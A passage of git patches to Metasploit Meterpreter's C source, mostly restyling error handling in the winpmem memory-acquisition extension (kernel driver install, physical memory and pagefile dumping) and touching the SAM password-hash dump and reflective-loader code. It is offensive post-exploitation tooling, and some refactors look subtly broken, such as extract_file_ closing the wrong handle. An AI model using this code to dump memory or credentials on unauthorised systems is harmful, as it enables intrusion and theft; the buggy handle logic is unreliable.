-		goto exit;
-	};
+	do
+	{
+		if (out_fd_ == INVALID_HANDLE_VALUE)
+		{
+			dprintf("[WINPMEM] Must open an output file first.");
+			break;
+		};
 
-	RtlZeroMemory(&info, sizeof(info));
+		RtlZeroMemory(&info, sizeof(info));
 
-	// Get the memory ranges.
-	if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
-		sizeof(info), &size, NULL)) {
-		dprintf("[WINPMEM] Failed to get memory geometry,");
-		status = -1;
-		goto exit;
-	};
+		// Get the memory ranges.
+		if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char*)&info,
+			sizeof(info), &size, NULL)) {
+			dprintf("[WINPMEM] Failed to get memory geometry,");
+			break;
+		};
 
-	dprintf("[WINPMEM] Will write an elf coredump.");
-	print_memory_info();
+		dprintf("[WINPMEM] Will write an elf coredump.");
+		print_memory_info();
 
-	if (!write_coredump_header_(&info)) {
-		goto exit;
-	};
+		if (!write_coredump_header_(&info)) {
+			break;
+		};
 
-	for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
-		copy_memory((size_t)info.Run[i].start, (size_t)(info.Run[i].start + info.Run[i].length));
-	};
+		for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++)
+		{
+			copy_memory((size_t)info.Run[i].start, (size_t)(info.Run[i].start + info.Run[i].length));
+		};
 
-	// Remember where we wrote the last metadata header.
-	last_header_offset_ = out_offset;
+		// Remember where we wrote the last metadata header.
+		last_header_offset_ = out_offset;
 
-	if (!WriteFile(out_fd_, metadata_, metadata_len_, &metadata_len_, NULL)) {
-		dprintf("[WINPMEM] Can not write metadata.");
+		if (!WriteFile(out_fd_, metadata_, metadata_len_, &metadata_len_, NULL))
+		{
+			dprintf("[WINPMEM] Can not write metadata.");
+		}
+
+		out_offset += metadata_len_;
+
+		if (pagefile_path_)
+		{
+			write_page_file();
+		};
+
+	} while (0);
+
+	if (out_fd_ != NULL && out_fd_ != INVALID_HANDLE_VALUE)
+	{
+		CloseHandle(out_fd_);
 	}
-
-	out_offset += metadata_len_;
-
-	if (pagefile_path_) {
-		write_page_file();
-	};
-
-exit:
-	CloseHandle(out_fd_);
 	out_fd_ = INVALID_HANDLE_VALUE;
 	return status;
 };
@@ -354,59 +370,67 @@ void WinPmem::write_page_file()
 	TCHAR path[MAX_PATH + 1];
 	TCHAR filename[MAX_PATH + 1];
 
-	if (!GetTempPath(MAX_PATH, path)) {
-		dprintf("[WINPMEM] Unable to determine temporary path.");
-		goto error;
-	}
+	do
+	{
+		if (!GetTempPath(MAX_PATH, path))
+		{
+			dprintf("[WINPMEM] Unable to determine temporary path.");
+			break;
+		}
 
-	// filename is now the random path.
-	GetTempFileName(path, L"fls", 0, filename);
+		// filename is now the random path.
+		GetTempFileName(path, L"fls", 0, filename);
 
-	dprintf("[WINPMEM] Extracting fcat to %s", filename);
-	if (extract_file_(WINPMEM_FCAT_EXECUTABLE, filename) < 0) {
-		goto error;
-	};
-
-	SECURITY_ATTRIBUTES saAttr;
-	HANDLE stdout_rd = NULL;
-	HANDLE stdout_wr = NULL;
-
-	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
-	saAttr.bInheritHandle = TRUE;
-	saAttr.lpSecurityDescriptor = NULL;
-
-	// Create a pipe for the child process's STDOUT.
-	if (!CreatePipe(&stdout_rd, &stdout_wr, &saAttr, 0)) {
-		dprintf("[WINPMEM] StdoutRd CreatePipe");
-		goto error;
-	};
-
-	// Ensure the read handle to the pipe for STDOUT is not inherited.
-	SetHandleInformation(stdout_rd, HANDLE_FLAG_INHERIT, 0);
-	WCHAR command_line[1000];
-	swprintf(command_line, 1000, L"%s %s \\\\.\\%s",
-			filename, &pagefile_path_[3], pagefile_path_);
-
-	CreateChildProcess(command_line, stdout_wr);
-	dprintf("[WINPMEM] Preparing to read pagefile.");
-	while (1) {
-		DWORD bytes_read = buffer_size_;
-		DWORD bytes_written = 0;
-
-		if (!ReadFile(stdout_rd, buffer_, bytes_read, &bytes_read, NULL)) {
+		dprintf("[WINPMEM] Extracting fcat to %s", filename);
+		if (extract_file_(WINPMEM_FCAT_EXECUTABLE, filename) < 0)
+		{
 			break;
 		};
 
-		if (!WriteFile(out_fd_, buffer_, bytes_read, &bytes_written, NULL) ||
-			bytes_written != bytes_read) {
-			dprintf("[WINPMEM] Failed to write image file");
-			goto error;
+		SECURITY_ATTRIBUTES saAttr;
+		HANDLE stdout_rd = NULL;
+		HANDLE stdout_wr = NULL;
+
+		saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
+		saAttr.bInheritHandle = TRUE;
+		saAttr.lpSecurityDescriptor = NULL;
+
+		// Create a pipe for the child process's STDOUT.
+		if (!CreatePipe(&stdout_rd, &stdout_wr, &saAttr, 0))
+		{
+			dprintf("[WINPMEM] StdoutRd CreatePipe");
+			break;
 		};
 
-		out_offset += bytes_written;
-	};
+		// Ensure the read handle to the pipe for STDOUT is not inherited.
+		SetHandleInformation(stdout_rd, HANDLE_FLAG_INHERIT, 0);
+		WCHAR command_line[1000];
+		swprintf(command_line, 1000, L"%s %s \\\\.\\%s", filename, &pagefile_path_[3], pagefile_path_);
+
+		CreateChildProcess(command_line, stdout_wr);
+		dprintf("[WINPMEM] Preparing to read pagefile.");
+		int running = 1;
+		while (running)
+		{
+			DWORD bytes_read = buffer_size_;
+			DWORD bytes_written = 0;
+
+			if (!ReadFile(stdout_rd, buffer_, bytes_read, &bytes_read, NULL))
+			{
+				break;
+			};
+
+			if (!WriteFile(out_fd_, buffer_, bytes_read, &bytes_written, NULL) ||
+				bytes_written != bytes_read) {
+				dprintf("[WINPMEM] Failed to write image file");
+				running = 0;
+				break;
+			};
+
+			out_offset += bytes_written;
+		};
+	} while (0);
 
-error:
 	// Write another metadata header.
 	{
 		char metadata[1000];
@@ -425,8 +449,8 @@ error:
 		DWORD metadata_len = (DWORD)strlen(metadata);
 		DWORD bytes_written = 0;
 
-		if (!WriteFile(out_fd_, metadata, metadata_len, &bytes_written, NULL) ||
-			bytes_written != metadata_len) {
+		if (!WriteFile(out_fd_, metadata, metadata_len, &bytes_written, NULL) || bytes_written != metadata_len)
+		{
 			dprintf("[WINPMEM] Failed to write image file");
 		};
 
@@ -434,151 +458,176 @@ error:
 	};
 
 	DeleteFile(filename);
-	return;
 };
 
-
-int WinPmem::write_raw_image() {
+int WinPmem::write_raw_image()
+{
 	// Somewhere to store the info from the driver;
 	struct PmemMemoryInfo info;
 	DWORD size;
 	int status = -1;
 
-	if (out_fd_ == INVALID_HANDLE_VALUE) {
-		dprintf("[WINPMEM] Must open an output file first.");
-		goto exit;
-	};
-
-	RtlZeroMemory(&info, sizeof(info));
-
-	// Get the memory ranges.
-	if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
-		sizeof(info), &size, NULL)) {
-		dprintf("[WINPMEM] Failed to get memory geometry,");
-		status = -1;
-		goto exit;
-	};
-
-	dprintf("[WINPMEM] Will generate a RAW image");
-	print_memory_info();
-
-	int64_t offset = 0;
-	for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
-		if (info.Run[i].start > offset) {
-			dprintf("[WINPMEM] Padding from 0x%08llX to 0x%08llX", offset, info.Run[i].start);
-			if (!pad((size_t)(info.Run[i].start - offset))) {
-				goto exit;
-			}
+	do
+	{
+		if (out_fd_ == INVALID_HANDLE_VALUE)
+		{
+			dprintf("[WINPMEM] Must open an output file first.");
+			break;
 		};
 
-		copy_memory((size_t)info.Run[i].start, (size_t)(info.Run[i].start + info.Run[i].length));
-		offset = info.Run[i].start + info.Run[i].length;
-	};
+		RtlZeroMemory(&info, sizeof(info));
 
-	// All is well.
-	status = 1;
+		// Get the memory ranges.
+		if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char*)&info,
+			sizeof(info), &size, NULL)) {
+			dprintf("[WINPMEM] Failed to get memory geometry,");
+			break;
+		};
 
-exit:
-	CloseHandle(out_fd_);
+		dprintf("[WINPMEM] Will generate a RAW image");
+		print_memory_info();
+
+		int64_t offset = 0;
+		int failed = 0;
+		for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++)
+		{
+			if (info.Run[i].start > offset)
+			{
+				dprintf("[WINPMEM] Padding from 0x%08llX to 0x%08llX", offset, info.Run[i].start);
+				if (!pad((size_t)(info.Run[i].start - offset)))
+				{
+					failed = 1;
+					break;
+				}
+			};
+
+			copy_memory((size_t)info.Run[i].start, (size_t)(info.Run[i].start + info.Run[i].length));
+			offset = info.Run[i].start + info.Run[i].length;
+		};
+
+		if (!failed)
+		{
+			// All is well.
+			status = 1;
+		}
+	} while (0);
+
+	if (out_fd_ != NULL && out_fd_ != INVALID_HANDLE_VALUE)
+	{
+		CloseHandle(out_fd_);
+	}
 	out_fd_ = INVALID_HANDLE_VALUE;
 	return status;
 };
 
-WinPmem::WinPmem() :
-fd_(INVALID_HANDLE_VALUE),
-buffer_size_(1024 * 1024),
-buffer_(NULL),
-service_name(PMEM_SERVICE_NAME),
-max_physical_memory_(0),
-mode_(PMEM_MODE_AUTO),
-default_mode_(PMEM_MODE_AUTO),
-metadata_(NULL),
-metadata_len_(0),
-driver_filename_(NULL),
-driver_is_tempfile_(false),
-out_offset(0),
-pagefile_path_(NULL) {
+WinPmem::WinPmem()
+	: fd_(INVALID_HANDLE_VALUE),
+	  buffer_size_(1024 * 1024),
+	  buffer_(NULL),
+	  service_name(PMEM_SERVICE_NAME),
+	  max_physical_memory_(0),
+	  mode_(PMEM_MODE_AUTO),
+	  default_mode_(PMEM_MODE_AUTO),
+	  metadata_(NULL),
+	  metadata_len_(0),
+	  driver_filename_(NULL),
+	  driver_is_tempfile_(false),
+	  out_offset(0),
+	  pagefile_path_(NULL)
+{
 	buffer_ = new char[buffer_size_];
 }
 
 WinPmem::~WinPmem()
 {
-	if (fd_ != INVALID_HANDLE_VALUE) {
+	if (fd_ != INVALID_HANDLE_VALUE)
+	{
 		CloseHandle(fd_);
 	};
 
-	if (buffer_) {
+	if (buffer_)
+	{
 		delete[] buffer_;
 	}
 
-	if (driver_filename_ && driver_is_tempfile_) {
+	if (driver_filename_ && driver_is_tempfile_)
+	{
 		free(driver_filename_);
 	}
 }
 
 int WinPmem::extract_file_(__int64 resource_id, TCHAR *filename)
 {
+	int result = -1;
+
 	// Locate the driver resource in the .EXE file.
 	HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resource_id), L"FILE");
-	if (hRes == NULL) {
-		dprintf("[WINPMEM] Could not locate driver resource.");
-		goto error;
+	do
+	{
+		if (hRes == NULL)
+		{
+			dprintf("[WINPMEM] Could not locate driver resource.");
+			break;
+		}
+
+		HGLOBAL hResLoad = LoadResource(NULL, hRes);
+		if (hResLoad == NULL)
+		{
+			dprintf("[WINPMEM] Could not load driver resource.");
+			break;
+		}
+
+		VOID* lpResLock = LockResource(hResLoad);
+		if (lpResLock == NULL)
+		{
+			dprintf("[WINPMEM] Could not lock driver resource.");
+			break;
+		}
+
+		DWORD size = SizeofResource(NULL, hRes);
+
+		// Now open the filename and write the driver image on it.
+		HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+
+		if (out_fd == INVALID_HANDLE_VALUE)
+		{
+			dprintf("[WINPMEM] Can not create temporary file.");
+			break;
+		};
+
+		if (!WriteFile(out_fd, lpResLock, size, &size, NULL))
+		{
+			dprintf("[WINPMEM] Can not write to temporary file.");
+			break;
+		}
+
+		result = 1;
+	} while (0);
+
+	if (out_fd_ != NULL && out_fd_ != INVALID_HANDLE_VALUE)
+	{
+		CloseHandle(out_fd_);
 	}
 
-	HGLOBAL hResLoad = LoadResource(NULL, hRes);
-	if (hResLoad == NULL) {
-		dprintf("[WINPMEM] Could not load driver resource.");
-		goto error;
-	}
-
-	VOID *lpResLock = LockResource(hResLoad);
-	if (lpResLock == NULL) {
-		dprintf("[WINPMEM] Could not lock driver resource.");
-		goto error;
-	}
-
-	DWORD size = SizeofResource(NULL, hRes);
-
-	// Now open the filename and write the driver image on it.
-	HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL,
-		CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-
-	if (out_fd == INVALID_HANDLE_VALUE) {
-		dprintf("[WINPMEM] Can not create temporary file.");
-		goto error_resource;
-	};
-
-	if (!WriteFile(out_fd, lpResLock, size, &size, NULL)) {
-		dprintf("[WINPMEM] Can not write to temporary file.");
-		goto error_file;
-	}
-	CloseHandle(out_fd);
-
-	return 1;
-
-error_file:
-	CloseHandle(out_fd);
-
-error_resource:
-error :
-	return -1;
-
+	return result;
 };
 
 void WinPmem::set_driver_filename(TCHAR *driver_filename)
 {
 	DWORD res;
 
-	if (driver_filename_) {
+	if (driver_filename_)
+	{
 		free(driver_filename_);
 		driver_filename_ = NULL;
 	};
 
-	if (driver_filename) {
+	if (driver_filename)
+	{
 		driver_filename_ = (TCHAR *)malloc(MAX_PATH * sizeof(TCHAR));
-		if (driver_filename_) {
-			res = GetFullPathName(driver_filename, MAX_PATH,
-				driver_filename_, NULL);
+		if (driver_filename_)
+		{
+			res = GetFullPathName(driver_filename, MAX_PATH, driver_filename_, NULL);
 		};
 	};
 }
@@ -587,16 +636,18 @@ void WinPmem::set_pagefile_path(TCHAR *path)
 {
 	DWORD res;
 
-	if (pagefile_path_) {
+	if (pagefile_path_)
+	{
 		free(pagefile_path_);
 		pagefile_path_ = NULL;
 	};
 
-	if (path) {
+	if (path)
+	{
 		pagefile_path_ = (TCHAR *)malloc(MAX_PATH * sizeof(TCHAR));
-		if (pagefile_path_) {
-			res = GetFullPathName(path, MAX_PATH,
-				pagefile_path_, NULL);
+		if (pagefile_path_)
+		{
+			res = GetFullPathName(path, MAX_PATH, pagefile_path_, NULL);
 		};
 
 		// Split at the drive letter. C:\pagefile.sys
@@ -604,75 +655,92 @@ void WinPmem::set_pagefile_path(TCHAR *path)
 	};
 };
 
-int WinPmem::install_driver() {
+int WinPmem::install_driver()
+{
 	SC_HANDLE scm, service;
 	int status = -1;
 
-	// Try to load the driver from the resource section.
-	if (extract_driver() < 0)
-		goto error;
-
-	uninstall_driver();
-
-	scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-	if (!scm) {
-		dprintf("[WINPMEM] Can not open SCM. Are you administrator?\n");
-		goto error;
-	}
-
-	service = CreateService(scm,
-		service_name,
-		service_name,
-		SERVICE_ALL_ACCESS,
-		SERVICE_KERNEL_DRIVER,
-		SERVICE_DEMAND_START,
-		SERVICE_ERROR_NORMAL,
-		driver_filename_,
-		NULL,
-		NULL,
-		NULL,
-		NULL,
-		NULL);
-
-	if (GetLastError() == ERROR_SERVICE_EXISTS) {
-		service = OpenService(scm, service_name, SERVICE_ALL_ACCESS);
-	}
-
-	if (!service) {
-		goto error;
-	};
-	if (!StartService(service, 0, NULL)) {
-		if (GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) {
-			dprintf("[WINPMEM] Error: StartService(), Cannot start the driver.\n");
-			goto service_error;
+	do
+	{
+		// Try to load the driver from the resource section.
+		if (extract_driver() < 0)
+		{
+			break;
 		}
+
+		uninstall_driver();
+
+		scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+		if (!scm)
+		{
+			dprintf("[WINPMEM] Can not open SCM. Are you administrator?\n");
+			break;
+		}
+
+		service = CreateService(scm,
+			service_name,
+			service_name,
+			SERVICE_ALL_ACCESS,
+			SERVICE_KERNEL_DRIVER,
+			SERVICE_DEMAND_START,
+			SERVICE_ERROR_NORMAL,
+			driver_filename_,
+			NULL,
+			NULL,
+			NULL,
+			NULL,
+			NULL);
+
+		if (GetLastError() == ERROR_SERVICE_EXISTS) {
+			service = OpenService(scm, service_name, SERVICE_ALL_ACCESS);
+		}
+
+		if (!service)
+		{
+			break;
+		};
+
+		if (!StartService(service, 0, NULL))
+		{
+			if (GetLastError() != ERROR_SERVICE_ALREADY_RUNNING)
+			{
+				dprintf("[WINPMEM] Error: StartService(), Cannot start the driver.\n");
+				break;
+			}
+		}
+
+		dprintf("[WINPMEM] Loaded Driver %s.\n", driver_filename_);
+
+		fd_ = CreateFile(TEXT("\\\\.\\") TEXT(PMEM_DEVICE_NAME),
+			// Write is needed for IOCTL.
+			GENERIC_READ | GENERIC_WRITE,
+			FILE_SHARE_READ | FILE_SHARE_WRITE,
+			NULL,
+			OPEN_EXISTING,
+			FILE_ATTRIBUTE_NORMAL,
+			NULL);
+
+		if (fd_ == INVALID_HANDLE_VALUE) {
+			dprintf("[WINPMEM] Can not open raw device.");
+			break;
+		};
+
+		status = 1;
+	} while (0);
+
+	if (service != NULL)
+	{
+		CloseServiceHandle(service);
 	}
 
-	dprintf("[WINPMEM] Loaded Driver %s.\n", driver_filename_);
+	if (scm != NULL)
+	{
+		CloseServiceHandle(scm);
+	}
 
-	fd_ = CreateFile(TEXT("\\\\.\\") TEXT(PMEM_DEVICE_NAME),
-		// Write is needed for IOCTL.
-		GENERIC_READ | GENERIC_WRITE,
-		FILE_SHARE_READ | FILE_SHARE_WRITE,
-		NULL,
-		OPEN_EXISTING,
-		FILE_ATTRIBUTE_NORMAL,
-		NULL);
-
-	if (fd_ == INVALID_HANDLE_VALUE) {
-		dprintf("[WINPMEM] Can not open raw device.");
-		status = -1;
-	};
-
-	status = 1;
-
-service_error:
-	CloseServiceHandle(service);
-	CloseServiceHandle(scm);
-
-error:
 	// Only remove the driver file if it was a temporary file.
-	if (driver_is_tempfile_) {
+	if (driver_is_tempfile_)
+	{
 		dprintf("[WINPMEM] Deleting %S", driver_filename_);
 		DeleteFile(driver_filename_);
 	};
@@ -691,17 +759,15 @@ int WinPmem::uninstall_driver()
 
 	service = OpenService(scm, service_name, SERVICE_ALL_ACCESS);
 
-	if (service) {
+	if (service)
+	{
 		ControlService(service, SERVICE_CONTROL_STOP, &ServiceStatus);
+		DeleteService(service);
+		CloseServiceHandle(service);
+		dprintf("[WINPMEM] Driver Unloaded.");
+		return 1;
 	};
 
-	DeleteService(service);
-	CloseServiceHandle(service);
-	dprintf("[WINPMEM] Driver Unloaded.");
-
-	return 1;
-
-	CloseServiceHandle(scm);
 	return 0;
 }
 
@@ -723,7 +789,8 @@ char *store_metadata_(struct PmemMemoryInfo *info)
 
 	// Print local time as a string.
 	errNum = asctime_s(time_buffer, 32, &newtime);
-	if (errNum) {
+	if (errNum)
+	{
 		time_buffer[0] = 0;
 	}
 
@@ -732,7 +799,8 @@ char *store_metadata_(struct PmemMemoryInfo *info)
 	ZeroMemory(&sys_info, sizeof(sys_info));
 	GetNativeSystemInfo(&sys_info);
 
-	switch (sys_info.wProcessorArchitecture) {
+	switch (sys_info.wProcessorArchitecture)
+	{
 	case PROCESSOR_ARCHITECTURE_AMD64:
 		arch = "AMD64";
 		break;
@@ -765,6 +833,7 @@ char *store_metadata_(struct PmemMemoryInfo *info)
 		info->KernBase.QuadPart,
 		arch
 	);
+
 	return buffer;
 };
 
@@ -779,7 +848,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
 
 	if (!metadata_) {
 		metadata_ = store_metadata_(info);
-		if (!metadata_) goto error;
+		if (!metadata_) return 0;
 
 		metadata_len_ = (DWORD)strlen(metadata_);
 	};
@@ -815,9 +884,10 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
 	header.shnum = 0;
 
 	header_size = sizeof(header);
-	if (!WriteFile(out_fd_, &header, header_size, &header_size, NULL)) {
+	if (!WriteFile(out_fd_, &header, header_size, &header_size, NULL))
+	{
 		dprintf("[WINPMEM] Failed to write header");
-		goto error;
+		return 0;
 	};
 
 	out_offset += header_size;
@@ -841,7 +911,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
 		header_size = sizeof(pheader);
 		if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
 			dprintf("[WINPMEM] Failed to write header");
-			goto error;
+			return 0;
 		};
 
 		out_offset += header_size;
@@ -859,15 +929,12 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
 	header_size = sizeof(pheader);
 	if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
 		dprintf("[WINPMEM] Failed to write header");
-		goto error;
+		return 0;
 	};
 
 	out_offset += header_size;
 
 	return 1;
-
-error:
-	return 0;
 };
 
 int WinPmem::extract_driver(TCHAR *driver_filename)
@@ -888,7 +955,7 @@ int WinPmem64::extract_driver()
 		// Gets the temp path env string (no guarantee it's a valid path).
 		if (!GetTempPath(MAX_PATH, path)) {
 			dprintf("[WINPMEM] Unable to determine temporary path.");
-			goto error;
+			return -1;
 		}
 
 		GetTempFileName(path, service_name, 0, filename);
@@ -900,9 +967,6 @@ int WinPmem64::extract_driver()
 	dprintf("[WINPMEM] Extracting driver to %S", driver_filename_);
 
 	return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
-
-error:
-	return -1;
 }
 
 int WinPmem32::extract_driver()
@@ -910,14 +974,15 @@ int WinPmem32::extract_driver()
 	// 32 bit acquisition defaults to physical device.
 	default_mode_ = PMEM_MODE_PHYSICAL;
 
-	if (!driver_filename_) {
+	if (!driver_filename_)
+	{
 		TCHAR path[MAX_PATH + 1];
 		TCHAR filename[MAX_PATH + 1];
 
 		// Gets the temp path env string (no guarantee it's a valid path).
 		if (!GetTempPath(MAX_PATH, path)) {
 			dprintf("[WINPMEM] Unable to determine temporary path.");
-			goto error;
+			return -1;
 		}
 
 		GetTempFileName(path, service_name, 0, filename);
@@ -929,7 +994,4 @@ int WinPmem32::extract_driver()
 	dprintf("[WINPMEM] Extracting driver to %S", driver_filename_);
 
 	return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);
-
-error:
-	return -1;
 }

From e7162dda2c6168d0267e59c00f98b8a0a42cc152 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 14:02:40 +1000
Subject: [PATCH 10/28] Few more cross comp changes for pmem

---
 c/meterpreter/source/extensions/priv/passwd.c |   5 +++--
 .../source/extensions/winpmem/winpmem.cpp     |   6 ++++-
 .../source/extensions/winpmem/winpmem.rc      | Bin 3338 -> 1667 bytes
 .../winpmem/winpmem_meterpreter.cpp           |  21 +++++++-----------
 4 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/c/meterpreter/source/extensions/priv/passwd.c b/c/meterpreter/source/extensions/priv/passwd.c
index 6f6b1514..5f20e816 100644
--- a/c/meterpreter/source/extensions/priv/passwd.c
+++ b/c/meterpreter/source/extensions/priv/passwd.c
@@ -398,7 +398,8 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
 		dwError = 1;
 		goto cleanup;
 	}
-	if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0)
+
+	if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, (LPVOID*)&pAcctDomainInfo) < 0)
 	{
 		dwError = 1;
 		goto cleanup;
@@ -566,7 +567,7 @@ cleanup:
 #ifdef _WIN64
 #define sizer setup_dump_sam_arguments
 #else
-void sizer() { __asm { ret } }
+void sizer() {}
 #endif
 
 /*!
diff --git a/c/meterpreter/source/extensions/winpmem/winpmem.cpp b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
index e10acb0d..8c769a2a 100755
--- a/c/meterpreter/source/extensions/winpmem/winpmem.cpp
+++ b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
@@ -25,6 +25,10 @@
 #include <stdio.h>
 #include <time.h>
 
+#ifndef min
+#define min(x,y) ((x)<(y)?(x):(y))
+#endif
+
 int WinPmem::pad(uint64_t length)
 {
 	uint64_t start = 0;
@@ -111,7 +115,7 @@ int WinPmem::copy_memory(uint64_t start, uint64_t end)
 // Turn on write support in the driver.
 int WinPmem::set_write_enabled(void)
 {
-	unsigned _int32 mode;
+	UINT mode;
 	DWORD size;
 
 	if (!DeviceIoControl(fd_, PMEM_WRITE_ENABLE, &mode, 4, NULL, 0,
diff --git a/c/meterpreter/source/extensions/winpmem/winpmem.rc b/c/meterpreter/source/extensions/winpmem/winpmem.rc
index 2cec0d6aab0a06ea80336d9adc0875f058de4b43..c7c1a7c565368d871950856d12778969fe1c8b85 100644
GIT binary patch
literal 1667
zcmcIk-D;yy5WW|DhgrR8=%VRg=&gyTR@Q2Xv9u5ntH<U*ax5OhrqDOri+!Yhg`H!v
zHd52=g*_nX9B1a6@0*!FzkZu0+_1DPM3Gl;$HY2W!sPfEo+zhfQqc@bDvEWPQV?m$
zo-0FDOjA|#jOL6}ux`UyWV=B;C6*od-a{Nd+>8S+l)v?OwpkIa(*VoMVg=QL!i?O{
zTz}$4Hi6Ry?+z%s=!~b!bw)u;@(q?_EHqW=9iP7D$jL{9^qvxHBm8N}!~%{Y&ZJsl
zg`$Z;!-9~N>MVzETfwp;>*^lG3WI1mA+haw19*Lf{mYp(bz<U21ButOd?&IT0`di|
zj^~Eg-yw{~`-V6|z3V(J3S9p#_(AM1s9T2I*Ij-~1Sf6dm^iMlDu74(*T=?UK1BVA
zkGNFj^svKQ+r0ISHZSKKz3Yhkan26MIpm^Ko}n;!u$E?y8qOrT9tTMBvwh&o^+-e5
z@LVEzcjQ0sjA+md^O5nSWK@_x8Gl~URlFIU8{$PEEhoc^E~h$U*F|Tv%TW_;)aCT4
zXnC4c2Hntl(pyY_Vq$uxT`E}*M|(juO81;@r}BRm<yo^Lc8l^0`mMz~FRG3%{|gEk
Bdb$7r

literal 3338
zcmd6qTW`}q5QWb(692&@FI1p}7N~e_E)5ZGKy^}qRLO!|+DPD5xu`|rw->(gdebJc
z5iLkqtIe)wZ!>4k%x-?()KyoYBTY5bOc$C{Ct4soK{nS?pY@fmrk+s(ooTFuIzzso
z9U+_1+PWpZA^m_a+ij{#=G639k2s~CwpCV)IboXa66io56sfO)TI%Y(VjZiEv_-$C
zP@j-Q{2r-+B&6?mvmMJ<ymr0~)WP0O#3rC~p>H6y(0PhjAFDrtLl>)?*lBpQ8Q;sn
zcO6l~AW$_$bcnB(DZ+s&cxa;Q%sVyCsifF>&B}+JX=K_}u_4KL@=%79-%97VHkO{@
zHH)=#{P+~lCw%$Xis-pWn`<YB3-gsvjR6y8JXwpd5j!5}5N^51iin~CG1i1#F&qmi
zw(k#0P`I+s9>*{_W>t^%JF6%R8R;=HpzWlL^%6I?!~R{O_N|_?f5f~761Qe^M$D*-
zZ^r_&$7PE=7FeX5V9h&DZLRbvFRMMfo!|50-LuwOtGi%UJhOr2oit<E+#oBJEaGqT
zvBmzWUS#oa9&~uwD$6hTKOryM<mH<R=gz1}cJ{4~Mf$vakUsZ4rJCmCQ5G>yE9aN(
z`)HeI-aF;w+FhQRrp~TIcoM=FFYz|)!i!fc?s)$cw|<}E8S5hz?*CKD7qCvqWcDhs
z*MiBeQrRW<;Fub7SM8%qjnVH^cUzf$uS=uf8#LV3Z~s5(H{q3KcS8;QuBi^OVs8JN
zyQbW%_q?{&-H5+?No>b<xvje!+kgAAv`oACa$kR0dMwM0Nip9O-q`j}=1+3^FZaTI
AZ2$lO

diff --git a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp
index 39b96043..f0e8987d 100644
--- a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp
+++ b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp
@@ -9,6 +9,10 @@ extern "C" {
 #define RDIDLL_NOEXPORT
 #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
 
+#ifndef min
+#define min(x,y) ((x)<(y)?(x):(y))
+#endif
+
 	// Required so that use of the API works.
 	MetApi* met_api = NULL;
 
@@ -138,7 +142,7 @@ int WinPmem_meterpreter64::extract_driver() {
 		// Gets the temp path env string (no guarantee it's a valid path).
 		if (!GetTempPath(MAX_PATH, path)) {
 			dprintf("[WINPMEM] Unable to determine temporary path.");
-			goto error;
+			return -1;
 		}
 
 		GetTempFileName(path, service_name, 0, filename);
@@ -150,9 +154,6 @@ int WinPmem_meterpreter64::extract_driver() {
 	dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
 
 	return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
-
-error:
-	return -1;
 }
 
 int WinPmem_meterpreter32::extract_driver() {
@@ -166,7 +167,7 @@ int WinPmem_meterpreter32::extract_driver() {
 		// Gets the temp path env string (no guarantee it's a valid path).
 		if (!GetTempPath(MAX_PATH, path)) {
 			dprintf("[WINPMEM] Unable to determine temporary path.");
-			goto error;
+			return -1;
 		}
 
 		GetTempFileName(path, service_name, 0, filename);
@@ -178,9 +179,6 @@ int WinPmem_meterpreter32::extract_driver() {
 	dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
 
 	return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);
-
-error:
-	return -1;
 }
 
 WinPmem_meterpreter *WinPmemFactory()
@@ -320,13 +318,13 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
 		if (0xFFFFFFFF == SetFilePointerEx(
 			ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN)) {
 			dprintf("[WINPMEM] Failed to seek in the pmem device.");
-			goto error;
+			return 0;
 		};
 
 		if (!ReadFile(ctx->winpmem->get_fd(), reinterpret_cast<char*>(buffer)+*bytesRead, to_write, &bytes_read, NULL) ||
 			bytes_read != to_write) {
 			dprintf("[WINPMEM] Failed to Read memory.");
-			goto error;
+			return 0;
 		};
 
 		*bytesRead += bytes_read;
